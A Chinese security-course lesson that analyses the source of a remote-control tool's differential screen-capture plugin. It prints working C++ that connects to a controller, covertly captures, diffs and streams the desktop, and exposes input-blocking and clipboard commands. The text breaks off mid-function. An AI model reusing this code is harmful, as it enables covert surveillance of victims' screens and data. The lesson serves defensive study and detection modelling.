第 32 课:主插件:差异屏幕
# 第 32 课:主插件:差异屏幕
免责声明:本专栏仅用于安全工程学习研究,禁止使用本专栏介绍的技术做其他用途,否则后果自负,与本号无关。
本课只用于安全工程学习和源码防御分析。差异屏幕能力可以减少屏幕传输带宽,但也可能用于持续观察用户桌面、业务系统、聊天窗口和敏感输入过程。本课不讲如何使用远程屏幕,不讲控制步骤,不讲规避检测,只讲差异帧原理、源码结构、风险模型和企业检测点。
# 1. 本课学习目标
读完本课,你应该能理解:
- 差异屏幕和高速屏幕的相同点与不同点。
- 为什么首帧通常需要全量传输,后续帧可以只传变化数据。
CScreenDifManager如何组织位图信息、尺寸、首帧和后续差异帧。CScreenSpy如何使用双缓冲保存上一帧和当前帧。Compare生成的offset + length + bytes为什么适合差异传输。- 主控端如何把差异块写回完整 DIB,从而组装成连续屏幕画面。
- 为什么低带宽并不等于低风险,持续连接和周期性图形采集仍然需要检测。
# 2. 源码目录和文件
| 路径 | 作用 |
|---|---|
主插件\差异屏幕\差异屏幕.sln | 差异屏幕插件解决方案 |
主插件\差异屏幕\差异屏幕\差异屏幕.cpp | 插件入口、socket 初始化、管理器创建 |
主插件\差异屏幕\差异屏幕\ScreenDifManager.h | 命令码、回传令牌、管理器定义 |
主插件\差异屏幕\差异屏幕\ScreenDifManager.cpp | 首帧/差异帧发送、命令处理、工作线程、控制线程 |
主插件\差异屏幕\差异屏幕\ScreenSpy.h | 差异屏幕采集类定义 |
主插件\差异屏幕\差异屏幕\ScreenSpy.cpp | 双缓冲、屏幕扫描、差异比较、位图构造 |
主插件\差异屏幕\差异屏幕\CursorInfo.h | 光标状态辅助 |
依赖说明: 差异屏幕主要依赖 Windows GDI、项目网络层和压缩处理。它不像高速屏幕那样强调完整 JPEG 帧,而是用双缓冲比较变化区域,再把差异块封装发送。检测时要把 BitBlt/GetDIBits、双缓冲差异、zlib 压缩、周期线程和网络小包关联起来;相关变量含义会在代码注释中说明。
在整体工程里,差异屏幕和高速屏幕都属于屏幕类插件。两者都涉及屏幕采集、帧发送、远程控制命令和隐私风险。差异屏幕更强调“只传变化”,所以网络流量可能更小,但检测不能因此放松。

# 3. 差异屏幕的基本概念
如果每一帧都传完整桌面,带宽会很高。差异屏幕的思想是:
- 第一次发送完整画面,让接收端建立基础画面。
- 后续每次采集当前画面。
- 和上一帧比较。
- 找出变化的位置和变化的数据。
- 只把变化块发送过去。
可以把它理解为“同步文档差异”:
| 概念 | 屏幕传输里的对应物 |
|---|---|
| 原始文档 | 上一帧屏幕 |
| 新文档 | 当前帧屏幕 |
| 差异位置 | 像素缓冲里的偏移 |
| 差异长度 | 连续变化字节数 |
| 差异内容 | 新像素数据 |

# 4. 插件入口:仍然是连接后创建管理器
差异屏幕入口和高速屏幕入口类似:创建 socket,连接成功后创建 CScreenDifManager。
// 源码位置:主插件\差异屏幕\差异屏幕\差异屏幕.cpp:8-46
// 防御分析注释:连接成功后进入差异屏幕管理器。
// 低带宽并不代表低风险,仍要和屏幕采集 API、压缩和持续连接关联。
struct plugInfo
{
char mark[30];
TCHAR szAddress[255];
DWORD szPort;
BOOL IsTcp;
BOOL RunDllEntryProc;
} MyInfo =
{
"plugmark",
_T("127.0.0.1"),
6666,
1,
0
};
DWORD WINAPI MainThread(LPVOID dllMainThread)
{
ISocketBase* socketClient;
if (MyInfo.IsTcp == 1)
socketClient = new CTcpSocket();
else
socketClient = new CUdpSocket();
if (socketClient->Connect(MyInfo.szAddress, MyInfo.szPort))
{
CScreenDifManager manager(socketClient);
socketClient->run_event_loop();
}
SAFE_DELETE(socketClient);
if (MyInfo.RunDllEntryProc)
ExitProcess(0);
return 0;
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
从防御建模看,入口给出的关键线索仍然是:
网络连接 -> 屏幕管理器 -> 工作线程 -> 图形采集 -> 压缩发送
# 5. 命令和回传令牌
差异屏幕的头文件定义了回传令牌和命令码。它没有高速屏幕里的算法/质量命令,但仍然包括屏幕重置、FPS、输入屏蔽、黑屏、分层窗口、剪贴板和控制事件。
// 源码位置:主插件\差异屏幕\差异屏幕\ScreenDifManager.h:25-40
// 防御分析注释:这些枚举是差异屏幕插件的协议面。
// 本课只做风险识别,不提供任何触发方式。
enum
{
TOKEN_FIRSTSCREEN_DIF, // 首帧全量画面
TOKEN_NEXTSCREEN_DIF, // 后续差异帧
TOKEN_CLIPBOARD_TEXT_DIF, // 剪贴板文本
TOKEN_SIZE_DIF, // 屏幕尺寸
COMMAND_NEXT_DIF,
COMMAND_SCREEN_RESET_DIF,
COMMAND_SCREEN_FPS_DIF,
COMMAND_SCREEN_BLOCK_INPUT_DIF,
COMMAND_SCREEN_BLANK_DIF,
COMMAND_SCREEN_CAPTURE_LAYER_DIF,
COMMAND_SCREEN_GET_CLIPBOARD_DIF,
COMMAND_SCREEN_CONTROL_DIF,
COMMAND_SCREEN_SET_CLIPBOARD_DIF
};
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
防御侧要注意两类令牌:
| 令牌 | 含义 | 检测价值 |
|---|---|---|
TOKEN_FIRSTSCREEN_DIF | 初始化远端画面的全量数据 | 会话开始阶段出现 |
TOKEN_NEXTSCREEN_DIF | 后续差异数据 | 会话持续阶段周期出现 |
TOKEN_CLIPBOARD_TEXT_DIF | 剪贴板文本 | 隐私数据面 |
TOKEN_SIZE_DIF | 屏幕坐标和尺寸 | 屏幕流元数据 |
# 6. 管理器构造函数:默认 8 位、1 FPS、创建双线程
CScreenDifManager 默认使用 8 位位深,FPS 为 1,并创建 CScreenSpy。
// 源码位置:主插件\差异屏幕\差异屏幕\ScreenDifManager.cpp:12-32
// 防御分析注释:构造时创建 CScreenSpy,并启动工作线程与控制线程。
// 工作线程负责屏幕流,控制线程负责黑屏、输入屏蔽和分辨率变化。
CScreenDifManager::CScreenDifManager(ISocketBase* pClient) : CManager(pClient)
{
m_buser = FALSE;
m_biBitCount = 8;
m_fps = 1;
m_pScreenSpy = new CScreenSpy(m_biBitCount, false, m_fps);
m_bIsWorking = true;
m_bIsBlankScreen = false;
m_bIsBlockInput = false;
m_bIsCaptureLayer = false;
m_hDeskTopDC = GetDC(GetDesktopWindow());
m_oldwidth = ::GetSystemMetrics(SM_CXVIRTUALSCREEN);
m_oldheigh = ::GetSystemMetrics(SM_CYVIRTUALSCREEN);
m_hWorkThread = (HANDLE)_beginthreadex(NULL, 0, WorkThread, this, 0, NULL);
m_hBlankThread = (HANDLE)_beginthreadex(NULL, 0, ControlThread, this, 0, NULL);
m_buser = TRUE;
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
这段代码可以和第 31 课高速屏幕对照看:
| 对比项 | 高速屏幕 | 差异屏幕 |
|---|---|---|
| 管理器 | CScreenQuickManager | CScreenDifManager |
| 默认位深 | 33 | 8 |
| 默认 FPS | 1 | 1 |
| 采集类 | CScreenSpy | CScreenSpy |
| 数据重点 | JPEG/变化区域 | 双缓冲差异块 |
| 检测重点 | 高速压缩图像流 | 低带宽周期差异流 |
# 7. 发送时序:全量首帧加差异后续帧
差异屏幕的时序和高速屏幕相似,但语义不同:首帧用于建立基线,后续帧只携带变化块。

源码里的工作线程:
// 源码位置:主插件\差异屏幕\差异屏幕\ScreenDifManager.cpp:209-224
// 防御分析注释:先发送位图信息、屏幕尺寸、首帧,再循环发送差异帧。
// 这是识别差异屏幕会话的核心时序。
unsigned CScreenDifManager::WorkThread(LPVOID lparam)
{
CScreenDifManager* pThis = (CScreenDifManager*)lparam;
pThis->sendBITMAPINFO();
if (pThis->m_bIsWorking)
pThis->WaitForDialogOpen();
pThis->sendsize();
pThis->sendFirstScreen();
pThis->m_bIsWorking = true;
while (pThis->m_bIsWorking)
{
pThis->sendNextScreen();
}
return 0;
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
对新手来说,最重要的是别把 sendNextScreen 理解成“又发了一整张图”。在差异屏幕里,后续数据通常是“变化块”。
# 8. 首帧发送:建立远端画面的基础状态
首帧从 CScreenSpy::getFirstScreen 取得完整位图,然后压缩发送。
// 源码位置:主插件\差异屏幕\差异屏幕\ScreenDifManager.cpp:152-179
// 防御分析注释:首帧是全量数据,用于接收端建立初始画面。
// 检测时可关注会话开始阶段较大的压缩数据包。
void CScreenDifManager::sendFirstScreen()
{
LPVOID lpFirstScreen = m_pScreenSpy->getFirstScreen();
if (lpFirstScreen == NULL)
return;
int dwBytes = m_pScreenSpy->getFirstImageSize();
unsigned long destLen = (unsigned long)((double)dwBytes * 1.001 + 12);
LPBYTE pDest = new BYTE[destLen];
if (compress(pDest, &destLen, (byte*)lpFirstScreen, dwBytes) != Z_OK)
{
SAFE_DELETE_AR(pDest);
return;
}
DWORD dwBytesLength = 1 + destLen + 4;
LPBYTE lpBuffer = new BYTE[dwBytesLength];
lpBuffer[0] = TOKEN_FIRSTSCREEN_DIF;
memcpy(lpBuffer + 1, &dwBytes, 4);
memcpy(lpBuffer + 5, pDest, destLen);
Send(lpBuffer, dwBytesLength);
SAFE_DELETE_AR(lpBuffer);
SAFE_DELETE_AR(pDest);
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
安全风险在于:首帧可能已经包含完整桌面隐私信息。即使后续只传差异,也不代表首帧无害。
# 9. 后续帧发送:只传差异数据但仍持续泄露
sendNextScreen 从 getNextScreen 获取差异缓冲,再压缩发送。
// 源码位置:主插件\差异屏幕\差异屏幕\ScreenDifManager.cpp:181-207
// 防御分析注释:后续帧不是全量图,而是由 ScreenSpy 计算出的差异数据。
// 低带宽、短包、周期发送也可能代表持续屏幕观察。
void CScreenDifManager::sendNextScreen()
{
DWORD dwBytes;
LPVOID lpNetScreen = m_pScreenSpy->getNextScreen(&dwBytes);
if (dwBytes == 0 || !lpNetScreen)
return;
unsigned long destLen = (unsigned long)((double)dwBytes * 1.001 + 12);
LPBYTE pDest = new BYTE[destLen];
if (compress(pDest, &destLen, (byte*)lpNetScreen, dwBytes) != Z_OK)
{
SAFE_DELETE_AR(pDest);
return;
}
DWORD dwBytesLength = 1 + destLen + 4;
LPBYTE lpBuffer = new BYTE[dwBytesLength];
lpBuffer[0] = TOKEN_NEXTSCREEN_DIF;
memcpy(lpBuffer + 1, &dwBytes, 4);
memcpy(lpBuffer + 5, (const char*)pDest, destLen);
Send(lpBuffer, dwBytesLength);
SAFE_DELETE_AR(lpBuffer);
SAFE_DELETE_AR(pDest);
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
差异帧的安全含义:
| 特征 | 防御理解 |
|---|---|
| 包可能比全量帧小 | 不能只用大流量识别 |
| 发送具有周期性 | 要看连接持续时间和帧间隔 |
| 屏幕变化越多包越大 | 和用户操作、窗口变化相关 |
| 仍然包含屏幕内容 | 即使只传差异,也可能泄露敏感信息 |
# 10. ScreenSpy:双缓冲结构
差异屏幕版 ScreenSpy 持有当前帧缓冲和差异比较缓冲。
// 源码位置:主插件\差异屏幕\差异屏幕\ScreenSpy.h:19-48
// 防御分析注释:m_lpvFullBits 保存上一状态,m_lpvDiffBits 保存当前采集。
// Compare 会比较两块内存并输出 offset + length + bytes。
class CScreenSpy
{
public:
UINT m_nMaxFrameRate;
DWORD m_dwBitBltRop;
LPBYTE m_rectBuffer;
UINT m_rectBufferOffset;
int m_nFullWidth, m_nFullHeight;
HDC m_hFullDC, m_hLineMemDC, m_hFullMemDC, m_hRectMemDC;
HBITMAP m_hLineBitmap, m_hFullBitmap;
LPVOID m_lpvLineBits, m_lpvFullBits;
// 差异比较的下一张。
LPVOID m_lpvDiffBits;
HDC m_hDiffDC, m_hDiffMemDC;
HBITMAP m_hDiffBitmap;
int Compare(LPBYTE lpSource, LPBYTE lpDest, LPBYTE lpBuffer, DWORD dwSize);
bool ScanChangedRect(int nStartLine);
void CopyRect(LPRECT lpRect);
void SetFps(int nfps);
};
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
可以这样理解两个缓冲:
| 缓冲 | 作用 |
|---|---|
m_lpvFullBits | 保存接收端应当已经拥有的上一帧状态 |
m_lpvDiffBits | 保存刚采集到的当前帧 |
m_rectBuffer | 保存光标信息和差异块输出 |
# 11. 构造函数:准备 DC、DIB 和差异缓冲
构造函数会创建多个内存 DC 和 DIBSection,并分配差异缓冲。
// 源码位置:主插件\差异屏幕\差异屏幕\ScreenSpy.cpp:19-91
// 防御分析注释:这里同时创建全量位图和差异位图,是差异传输的基础。
// 图形资源创建后如果叠加外联连接,就需要重点关注。
CScreenSpy::CScreenSpy(int biBitCount, bool bIsGray, UINT nMaxFrameRate)
{
m_biBitCount = biBitCount;
if (!SelectInputWinStation())
{
m_hDeskTopWnd = GetDesktopWindow();
m_hFullDC = GetDC(m_hDeskTopWnd);
}
m_dwBitBltRop = SRCCOPY;
m_dwLastCapture = GetTickCount();
m_nMaxFrameRate = nMaxFrameRate;
m_dwSleep = 1000 / nMaxFrameRate;
HDC hdc = GetDC(NULL);
int client_width_now = GetDeviceCaps(hdc, HORZRES);
int client_width_old = GetDeviceCaps(hdc, DESKTOPHORZRES);
fDpiRatio = (float)client_width_old / (float)client_width_now;
ReleaseDC(NULL, hdc);
m_nFullWidth = (int)((float)(::GetSystemMetrics(SM_CXVIRTUALSCREEN)) * fDpiRatio);
m_nFullHeight = (int)((float)(::GetSystemMetrics(SM_CYVIRTUALSCREEN)) * fDpiRatio);
m_hFullMemDC = ::CreateCompatibleDC(m_hFullDC);
m_hDiffMemDC = ::CreateCompatibleDC(m_hFullDC);
m_hLineMemDC = ::CreateCompatibleDC(NULL);
m_hRectMemDC = ::CreateCompatibleDC(NULL);
m_lpbmi_full = ConstructBI(m_biBitCount, m_nFullWidth, m_nFullHeight);
m_hFullBitmap = ::CreateDIBSection(m_hFullDC, m_lpbmi_full, DIB_RGB_COLORS, &m_lpvFullBits, NULL, NULL);
m_hDiffBitmap = ::CreateDIBSection(m_hFullDC, m_lpbmi_full, DIB_RGB_COLORS, &m_lpvDiffBits, NULL, NULL);
::SelectObject(m_hFullMemDC, m_hFullBitmap);
::SelectObject(m_hDiffMemDC, m_hDiffBitmap);
m_rectBuffer = new BYTE[m_lpbmi_full->bmiHeader.biSizeImage * 2];
m_nDataSizePerLine = m_lpbmi_full->bmiHeader.biSizeImage / m_nFullHeight;
m_rectBufferOffset = 0;
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
这里有一个非常适合新手理解的点:差异算法不是凭空知道哪里变了,它必须保存“上一帧状态”,再和“当前帧状态”比较。
# 12. 首帧采集:把完整屏幕放入基线缓冲
首帧只做一次完整采集,并返回完整位图数据。
// 源码位置:主插件\差异屏幕\差异屏幕\ScreenSpy.cpp:247-251
// 防御分析注释:首帧通过 BitBlt 把整个桌面复制到 m_lpvFullBits。
// 这一步建立后续差异比较的基线。
LPVOID CScreenSpy::getFirstScreen()
{
::BitBlt(m_hFullMemDC, 0, 0, m_nFullWidth, m_nFullHeight,
m_hFullDC, iScreenX, iScreenY, m_dwBitBltRop);
return m_lpvFullBits;
}
2
3
4
5
6
7
8
9
这也解释了为什么首帧更大:它不是差异,而是完整画面。
# 13. 后续帧采集:采当前帧、写光标、比较差异
getNextScreen 的流程很清楚:
- 切到输入桌面。
- 清空输出缓冲偏移。
- 写入光标位置。
- 写入当前光标类型。
- 采集当前屏幕到
m_lpvDiffBits。 - 调用
Compare和上一帧比较。 - 限制帧率。
这一帧输出的未压缩缓冲区不是一张完整图片,而是一个“小型更新包”:
[POINT 光标位置 8 字节]
[BYTE 光标类型 1 字节]
[差异块 1: DWORD 偏移 + DWORD 长度 + bytes 新像素]
[差异块 2: DWORD 偏移 + DWORD 长度 + bytes 新像素]
...
2
3
4
5
这里的偏移不是屏幕坐标,而是 DIB 像素内存里的字节偏移。接收端必须先有首帧完整 DIB,后续才能根据这些偏移把变化字节写回去。
// 源码位置:主插件\差异屏幕\差异屏幕\ScreenSpy.cpp:112-147
// 防御分析注释:该函数把当前屏幕采集到差异缓冲,再输出变化数据。
// 防御侧重点关注周期性 BitBlt、光标信息、Compare 和网络发送的关联。
LPVOID CScreenSpy::getNextScreen(LPDWORD lpdwBytes)
{
if (lpdwBytes == NULL || m_rectBuffer == NULL)
return NULL;
// 防御分析注释:切到当前输入桌面后再采集。
// 这说明差异屏幕关注的是当前用户可见桌面,不是后台桌面对象。
SelectInputWinStation();
// 防御分析注释:每一帧都从 m_rectBuffer 开头重新组织数据。
// 该缓冲区会先写光标信息,再写一个或多个差异块。
m_rectBufferOffset = 0;
POINT CursorPos;
GetCursorPos(&CursorPos);
// 防御分析注释:DPI 缩放和虚拟屏幕偏移会影响光标坐标。
// 如果检测或取证时看到坐标异常,要同时考虑多显示器和 DPI。
CursorPos.x = (long)(fDpiRatio * (float)CursorPos.x);
CursorPos.y = (long)(fDpiRatio * (float)CursorPos.y);
CursorPos.x -= iScreenX;
CursorPos.y -= iScreenY;
// 防御分析注释:缓冲区前 8 字节是 POINT。
// 接收端会先取出它,用来决定是否重绘远程光标。
WriteRectBuffer((LPBYTE)&CursorPos, sizeof(POINT));
// 防御分析注释:第 9 字节是光标类型索引。
// 画面没有变化时,也可能因为光标移动或类型变化触发重绘。
BYTE bCursorIndex = m_CursorInfo.getCurrentCursorIndex();
WriteRectBuffer(&bCursorIndex, sizeof(BYTE));
// 防御分析注释:把当前桌面画面采集到 m_lpvDiffBits 对应的 DIBSection。
// 这一帧只是“当前状态”,还没有变成差异数据。
ScanScreen(m_hDiffMemDC, m_hFullDC,
m_lpbmi_full->bmiHeader.biWidth,
m_lpbmi_full->bmiHeader.biHeight);
// 防御分析注释:Compare 比较当前帧 m_lpvDiffBits 和上一帧 m_lpvFullBits。
// 输出会追加到光标信息之后,格式为 offset + length + bytes。
// 同时 Compare 会把 m_lpvFullBits 更新为当前帧,为下一轮差异比较建立新基线。
*lpdwBytes = m_rectBufferOffset +
Compare((LPBYTE)m_lpvDiffBits,
(LPBYTE)m_lpvFullBits,
m_rectBuffer + m_rectBufferOffset,
m_lpbmi_full->bmiHeader.biSizeImage);
// 防御分析注释:帧率限制会让流量呈现周期性。
// 即使每个包很小,只要持续出现图形采集和小包上行,也应纳入关联检测。
while (GetTickCount() - m_dwLastCapture < m_dwSleep)
Sleep(10);
InterlockedExchange((LPLONG)&m_dwLastCapture, GetTickCount());
return m_rectBuffer;
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
这里最重要的是 Compare 的参数顺序:当前帧、上一帧、输出缓冲、总大小。比较时,如果发现某个 DWORD 不一样,就把变化写入输出缓冲,同时更新上一帧缓冲。这样下一轮比较才能继续只产生增量。
# 14. Compare:offset + length + bytes
Compare 是差异屏幕的核心。它按 DWORD 扫描屏幕位图内存,发现连续变化块后,写入三类信息:
- 偏移位置。
- 变化数据长度。
- 新数据内容。
它同时做了两件事:
| 动作 | 目的 |
|---|---|
把变化块写入 lpBuffer | 生成要发送给主控端的差异数据 |
把 lpDest 中的旧值改成当前值 | 更新本地“上一帧基线”,让下一次比较只产生新的变化 |
如果没有第二步,下一帧会继续把同一块变化重复发出去;如果没有第一步,主控端就无法还原画面。
// 源码位置:主插件\差异屏幕\差异屏幕\ScreenSpy.cpp:353-399
// 防御分析注释:该函数输出 offset + length + bytes。
// 这是差异传输的核心结构,但本课只用于解释检测和数据形态。
int CScreenSpy::Compare(LPBYTE lpSource, LPBYTE lpDest, LPBYTE lpBuffer, DWORD dwSize)
{
// 防御分析注释:lpDest 指向上一帧基线,也就是接收端理论上已经拥有的完整画面。
// lpSource 指向刚采集的当前帧。
// 两者都按 DWORD 比较,因为 DIB 扫描行按 4 字节对齐。
LPDWORD p1 = (LPDWORD)lpDest;
LPDWORD p2 = (LPDWORD)lpSource;
int nOffsetOffset = 0;
int nBytesOffset = 0;
int nDataOffset = 0;
int nCount = 0;
for (int i = 0; i < (int)dwSize; i += 4, p1++, p2++)
{
// 防御分析注释:相同的 4 字节不需要发送。
// 这就是差异屏幕流量小于全量屏幕的根本原因。
if (*p1 == *p2)
continue;
// 防御分析注释:发现变化后,先写该变化块在完整 DIB 内存中的字节偏移。
// 主控端稍后会用 m_lpScreenDIB + offset 定位写回位置。
*(LPDWORD)(lpBuffer + nOffsetOffset) = i;
// 防御分析注释:偏移后面紧跟变化长度,再后面才是变化后的像素字节。
// 这里先预留长度位置,等连续变化块统计完再回填。
nBytesOffset = nOffsetOffset + sizeof(int);
nDataOffset = nBytesOffset + sizeof(int);
nCount = 0;
// 防御分析注释:把当前 4 字节写入差异包。
// 同时更新 p1,也就是把本地上一帧基线推进到当前帧。
*p1 = *p2;
*(LPDWORD)(lpBuffer + nDataOffset + nCount) = *p2;
nCount += 4;
i += 4, p1++, p2++;
// 防御分析注释:如果后续 DWORD 也连续变化,就合并成同一个变化块。
// 这样比每个像素都写一个 offset 更省空间。
for (int j = i; j < (int)dwSize; j += 4, i += 4, p1++, p2++)
{
if (*p1 == *p2)
break;
// 防御分析注释:继续写变化后的字节,并同步推进基线。
*p1 = *p2;
*(LPDWORD)(lpBuffer + nDataOffset + nCount) = *p2;
nCount += 4;
}
// 防御分析注释:回填该变化块长度。
// 一个完整变化块最终是:DWORD offset + DWORD nCount + nCount 字节数据。
*(LPDWORD)(lpBuffer + nBytesOffset) = nCount;
// 防御分析注释:移动输出指针,准备写下一个变化块。
nOffsetOffset = nDataOffset + nCount;
}
// 防御分析注释:返回值是所有差异块占用的字节数。
// getNextScreen 会把它加到光标头长度后作为未压缩长度发送。
return nOffsetOffset;
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
这段代码解决的是“如何减少传输量”。但从安全角度看,减少传输量会带来一个检测挑战:如果企业只按大流量告警,差异屏幕可能不明显。因此要把周期性屏幕采集、差异数据结构和长连接关联起来。
# 15. 主控端还原:把差异块写回完整 DIB
差异数据本身不能直接显示成屏幕。主控端必须先收到首帧,建立一块完整的 m_lpScreenDIB;后续每个差异包只是在这块完整 DIB 上“打补丁”。
还原链路可以这样理解:
TOKEN_FIRSTSCREEN_DIF
-> zlib 解压
-> 写入 m_lpScreenDIB,形成完整首帧
TOKEN_NEXTSCREEN_DIF
-> zlib 解压到 pDeCompressionData
-> 读取 POINT 光标位置和 BYTE 光标类型
-> 从第 9 字节开始循环读取差异块
-> 每个差异块按 offset 写回 m_lpScreenDIB
-> DoPaint 把完整 DIB 画到主控窗口
2
3
4
5
6
7
8
9
10
这解释了“差异数据如何组装成完整屏幕”:完整屏幕一直保存在主控端内存里,差异帧只负责更新其中变化的字节。
主控端在对话框初始化时会创建一块 DIBSection,m_lpScreenDIB 就是这块位图的像素指针:
// 源码位置:主控\Quick\DifScreenSpyDlg.cpp:306-318
// 防御分析注释:CreateDIBSection 创建可直接写像素的内存位图。
// 后续首帧会完整填充 m_lpScreenDIB,差异帧会按 offset 修改它的一部分。
m_hDC = ::GetDC(m_hWnd);
m_hMemDC = CreateCompatibleDC(m_hDC);
// 防御分析注释:m_lpbmi 来自被控端发来的 BITMAPINFO。
// 它决定宽、高、位深和 m_lpScreenDIB 的内存布局。
m_hFullBitmap = CreateDIBSection(
m_hDC,
m_lpbmi,
DIB_RGB_COLORS,
&m_lpScreenDIB,
NULL,
NULL);
// 防御分析注释:后续 DoPaint 会从 m_hMemDC/m_lpScreenDIB 绘制主控端画面。
SelectObject(m_hMemDC, m_hFullBitmap);
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
// 源码位置:主控\Quick\DifScreenSpyDlg.cpp:132-171
// 防御分析注释:主控端按 token 区分首帧和差异帧。
// 首帧用于建立完整 DIB,差异帧用于更新已有 DIB。
void CDifScreenSpyDlg::OnReceiveComplete()
{
if (m_bOnClose)
return;
m_nCount++;
switch (m_pContext->m_DeCompressionBuffer.GetBuffer(0)[0])
{
case TOKEN_FIRSTSCREEN_DIF:
{
m_bIsFirst = false;
// 防御分析注释:包头第 1-4 字节记录解压后的原始长度。
// 对首帧来说,这个长度应接近完整 DIB 像素缓冲大小。
DWORD nUnCompressLength = 0;
memcpy(&nUnCompressLength, m_pContext->m_DeCompressionBuffer.GetBuffer(1), 4);
nUnCompressLength_old = nUnCompressLength;
// 防御分析注释:首帧解压后直接写入 m_lpScreenDIB。
// m_lpScreenDIB 是主控端维护的“完整屏幕状态”。
DWORD destLen = nUnCompressLength;
if (uncompress((byte*)m_lpScreenDIB,
&destLen,
m_pContext->m_DeCompressionBuffer.GetBuffer() + 5,
m_pContext->m_DeCompressionBuffer.GetBufferLen() - 5) != Z_OK)
{
return;
}
}
break;
case TOKEN_NEXTSCREEN_DIF:
{
// 防御分析注释:后续帧解压到临时缓冲 pDeCompressionData。
// 它不是完整图片,而是“光标头 + 多个差异块”。
DWORD nUnCompressLength = 0;
memcpy(&nUnCompressLength, m_pContext->m_DeCompressionBuffer.GetBuffer(1), 4);
if (nUnCompressLength > nUnCompressLength_old)
return;
DWORD destLen = nUnCompressLength;
if (uncompress(pDeCompressionData,
&destLen,
m_pContext->m_DeCompressionBuffer.GetBuffer() + 5,
m_pContext->m_DeCompressionBuffer.GetBufferLen() - 5) == Z_OK)
{
DrawNextScreenDiff(pDeCompressionData, destLen);
}
}
break;
}
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
真正把差异块写回完整屏幕的是 DrawNextScreenDiff:
// 源码位置:主控\Quick\DifScreenSpyDlg.cpp:360-430
// 防御分析注释:该函数把差异包应用到 m_lpScreenDIB。
// 防御分析时要把这里和插件端 Compare 的 offset + length + bytes 结构对照看。
void CDifScreenSpyDlg::DrawNextScreenDiff(PBYTE pDeCompressionData, unsigned long destLen)
{
bool bIsReDraw = false;
// 防御分析注释:差异包前 9 字节不是像素数据。
// 前 8 字节是 POINT 光标位置,第 9 字节是光标类型索引。
int nHeadLength = sizeof(POINT) + sizeof(BYTE);
// 防御分析注释:m_lpScreenDIB 是当前完整屏幕状态。
// 后续所有差异块都会写回这块内存。
LPVOID lpFirstScreen = m_lpScreenDIB;
// 防御分析注释:lpNextScreen 指向第一个差异块。
// 格式必须和插件端 Compare 输出完全一致。
LPVOID lpNextScreen = pDeCompressionData + nHeadLength;
DWORD dwBytes = destLen - nHeadLength;
POINT oldPoint;
memcpy(&oldPoint, &m_RemoteCursorPos, sizeof(POINT));
memcpy(&m_RemoteCursorPos, pDeCompressionData, sizeof(POINT));
if (memcmp(&oldPoint, &m_RemoteCursorPos, sizeof(POINT)) != 0)
bIsReDraw = true;
LPBYTE lpNextCursorIndex = (LPBYTE)(pDeCompressionData + 8);
if (*lpNextCursorIndex != m_bCursorIndex)
{
m_bCursorIndex = *lpNextCursorIndex;
bIsReDraw = true;
}
// 防御分析注释:只要存在像素差异块,就需要刷新主控端画面。
if (dwBytes > 0)
bIsReDraw = true;
BYTE* pNext = (BYTE*)lpNextScreen;
BYTE* pFirst = (BYTE*)lpFirstScreen;
DWORD remainingBytes = dwBytes;
while (remainingBytes > 0)
{
// 防御分析注释:读取插件端 Compare 写入的 offset。
// offset 是完整 DIB 内存的字节偏移,不是屏幕坐标。
DWORD offset = *reinterpret_cast<DWORD*>(pNext);
pNext += 4;
// 防御分析注释:读取该变化块的数据长度。
DWORD blockSize = *reinterpret_cast<DWORD*>(pNext);
pNext += 4;
remainingBytes -= 8;
remainingBytes -= blockSize;
// 防御分析注释:把变化后的像素字节写回完整 DIB。
// 这一步完成“差异帧 -> 完整屏幕状态”的还原。
BYTE* pDest = pFirst + offset;
memcpy(pDest, pNext, blockSize);
pNext += blockSize;
}
if (bIsReDraw)
DoPaint();
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
新手可以把这个过程类比成“补丁更新”:首帧是一份完整文件,后续差异帧是一组补丁。每个补丁告诉主控端从完整文件的哪个偏移开始,覆盖多少字节,覆盖成什么内容。
# 16. 全量帧和差异帧的流量差异
全量帧像是每次都发完整照片;差异帧像是先发一张完整照片,之后只发“哪里变了”。这会降低带宽,但不会降低隐私风险。

| 对比项 | 全量帧 | 差异帧 |
|---|---|---|
| 初始数据 | 大 | 大 |
| 后续数据 | 通常仍较大 | 随变化区域大小波动 |
| 空闲桌面 | 仍可能持续发送较大帧 | 可能只有小包或很少数据 |
| 用户频繁操作 | 帧数据持续增大 | 差异块增加 |
| 检测策略 | 容易按带宽识别 | 需要看周期和图形 API |
# 17. 命令面和控制风险
OnReceive 中仍然包含远程控制、FPS、黑屏、屏蔽输入、分层窗口和剪贴板相关命令。
// 源码位置:主插件\差异屏幕\差异屏幕\ScreenDifManager.cpp:74-126
// 防御分析注释:差异屏幕虽然强调低带宽,但命令面仍包含多类高风险能力。
// 本课只做风险归类,不提供触发方式。
void CScreenDifManager::OnReceive(LPBYTE lpBuffer, UINT nSize)
{
